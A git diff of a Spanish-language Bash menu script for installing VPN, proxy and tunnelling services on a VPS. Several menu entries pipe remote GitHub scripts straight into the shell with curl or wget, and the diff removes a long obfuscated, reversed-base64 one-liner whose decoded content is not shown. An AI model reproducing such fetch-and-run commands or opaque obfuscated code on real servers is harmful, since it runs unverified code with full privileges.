+echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS-R $shadow \033[0;35m [\033[0;36m15\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL->PYTHON ${socksA}" #\033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS $user_t \033[0;35m [\033[0;36m16\033[0;35m]\033[0;33m${flech} ${cor[3]}SSLH Multiplex $sslh"
+echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;33m${flech} ${cor[3]}PROXY PYTHON $socks \033[0;35m [\033[0;36m17\033[0;35m]\033[0;33m${flech} ${cor[3]}OVER WEBSOCKET \033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;33m${flech} ${cor[3]}V2RAY SWITCH $v2ray \033[0;35m [\033[0;36m18\033[0;35m]\033[0;33m${flech} ${cor[3]}SOCKS5 \033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m9\033[0;35m]\033[0;33m${flech} ${cor[3]}CFA ( CLASH ) $xclash\033[0;35m [\033[0;36m19\033[0;35m]\033[0;33m${flech} ${cor[3]}Protocolos UDP $_pidUDP"
+echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;33m${flech} ${cor[3]}TROJAN-GO $pTROJ \033[0;35m [\033[0;36m20\033[0;35m]\033[0;33m${flech} ${cor[5]}FUNCIONES EN DISEO!"
+msg -bar #msg -bar
+echo -e "${cor[5]} ${h0nG} INSTALACION DE HERRAMIENTAS Y SERVICIOS ${h0nG} "
+msg -bar
+echo -e "\033[0;35m [\033[0;36m21\033[0;35m]\033[0;33m ${flech} ${cor[3]}BLOCK TORRENT \033[0;35m [\033[0;36m22\033[0;35m]\033[0;33m ${flech} ${cor[3]}BadVPN $_badvpn"
+echo -e "\033[0;35m [\033[0;36m23\033[0;35m]\033[0;33m ${flech} ${cor[3]}TCP (BBR|Plus) $_tcpd \033[0;35m [\033[0;36m24\033[0;35m]\033[0;33m ${flech} ${cor[3]}FAILBAN $fail_b"
+echo -e "\033[0;35m [\033[0;36m25\033[0;35m]\033[0;33m ${flech} ${cor[3]}ARCHIVO ONLINE \033[0;31m[\033[0;32m${portFTP}\033[0;31m] \033[0;35m [\033[0;36m26\033[0;35m]\033[0;33m ${flech} ${cor[3]}UP|DOWN SpeedTest " #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")"
+echo -e "\033[0;35m [\033[0;36m27\033[0;35m]\033[0;33m ${flech} ${cor[3]}DETALLES DEL VPS \033[0;35m [\033[0;36m28\033[0;35m]\033[0;33m ${flech} ${cor[3]}Block ADS $_ADS" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")"
+echo -e "\033[0;35m [\033[0;36m29\033[0;35m]\033[0;33m ${flech} ${cor[3]}DNS CUSTOM (NETFLIX) \033[0;35m [\033[0;36m30\033[0;35m]\033[0;33m ${flech} ${cor[3]}FIREWALLD CUSTOM" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")"
+echo -e "\033[0;35m [\033[0;36m31\033[0;35m]\033[0;33m ${flech} ${cor[3]}Fix PassWD VULTR ${_fv} \033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")"
+msg -bar
+selection=$(selection_fun 20)
+case ${selection} in
+0) break;;
+1) fun_squid && read -p " Enter";;
+2) protos --dropbear ;; #fun_dropbear && read -p " Enter";;
+3) fun_openvpn && read -p " Enter";;
+4) ssl_stunel && read -p " Enter";;
+5) fun_shadowsocks && read -p " Enter";;
+6) ssrmenu && read -p " Enter";;
+7) protos --proxy-python ;; #iniciarsocks && read -p " Enter";;
+8) v2ray-socket && read -p " Enter";;
+9) instala_clash && read -p " Enter";;
+10) trojan && read -p " Enter";;
+11) psix && read -p " Enter";;
+12) tcpd && read -p " Enter";;
+13) web_min && read -p " Enter";;
+14) slow-dns && read -p " Enter";;
+15) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/autoconfig.sh) && read -p " Enter";;
+16) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/sslh-back3.sh) && read -p " Enter";;
+17) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/ws-java.sh) && read -p " Enter";;
+18) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/socks5.sh) && read -p " Enter";;
+19) _funUDP && read -p " Enter";;
+20) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/h_beta.sh) && read -p " Enter";;
+#21)fun_chisel && read -p " Enter";;
+21) source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/blockT.sh) && read -p " Enter";;
+22) funBadVPN && read -p " Enter";;
+23) funTCP && read -p " Enter";;
+24) funFAILBAN && read -p " Enter";;
+25) funARQONLINE && read -p " Enter";;
+26) funSPEED && read -p " Enter";;
+27) funDETSYS && read -p " Enter";;
+28) BlockADS && read -p " Enter";;
+29) wget -q -O /tmp/dnsNN.sh ${_link}l1hjn77fp0cywsl/dnsNN.sh?dl=0; chmod +x /tmp/dnsNN.sh;bash /tmp/dnsNN.sh && read -p " Enter";;
+31) BlockADS && read -p " Enter";;
+30) fun_bar 'fun_ports' && read -p " Enter";;
+esac
+done
+#Reinicia ADM
+fi
+
+}
+
+
+[[ -z $1 ]] && protos
diff --git a/Lista/menu_credito b/Lista/menu_credito
deleted file mode 100644
index e5100c2..0000000
--- a/Lista/menu_credito
+++ /dev/null
@@ -1 +0,0 @@
-✧ | ᴅʀᴏᴡᴋɪᴅ | ✧
diff --git a/Lista/menu_inst b/Lista/menu_inst
index 5e28ef9..d04360f 100755
--- a/Lista/menu_inst
+++ b/Lista/menu_inst
@@ -1,2 +1,3144 @@
#!/bin/bash
-SHpnZYgkgMTEcGUkmsqlSuUpBPzfoedqKVHjgUlMCkstfqKOEMRDGMTcxuHyRsADnnIOWOplPmsNnmRMuIopHrmAEbQzrItzvarL="WaGFgacUKJwpjfxmmRYXhhOefDFCeetAWZeIQdSmKDLnepmHVtHCWTGkcDaHyalYwlhvNGxcLpYeOZgeXaSuzdIlhAteNJUqCbXf";WXufVoZPiRoEUaYLDqHnKNlvAKfkMqGzLRzJGWLwShhDnRmEgEGKsEGgnWVGqqUMHdUCxCNaYTXTMYUNDanOLDAzKJQIdYlMGcIq="hoYlKIrGMHDZsFpAHtWBwNwwBUYrYiSXfSytwViCaFfBOvMbYhhCxyPRSNZELzBWjsBnfDTQvhSinDkwtgZHkrOOvnUsswgVGNxM";pijZxaiwjpmXjiCMIZZjBHSsAEskbVtiQKOBpnvHsPCVbQTSYtbzjTUztMxRnGiRAwKoCXvojQogneSCBBXEoiJLwcKTwIibCyrq="ch";xOFLADFybNRqtIWElsIWGzPlBcBbeYkhviweHXcTCngkaWQkjyEwkyTWGzrHVMpjyhRwKRKJNwROvTUDYeyfoMUydGdOEbWSeAyn="4";QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA="";CiDCdFfZOQCGRbxieNyCslQrVBuHfBEbUcUdVYVOlExHoHGlJjAWStVPoYlCzMISitcmusefpUMdEQtqvUspvoHYkddKHZpAkNpQ="NeqIXPGbyAivARJNspdcLyIuNmxgYrftzwGSZoVhIuzOWjNGAcFDdzkbVjWLhSMTRzBgYhsLCzUauLguoOIrdEMvROEgOAzznTIy";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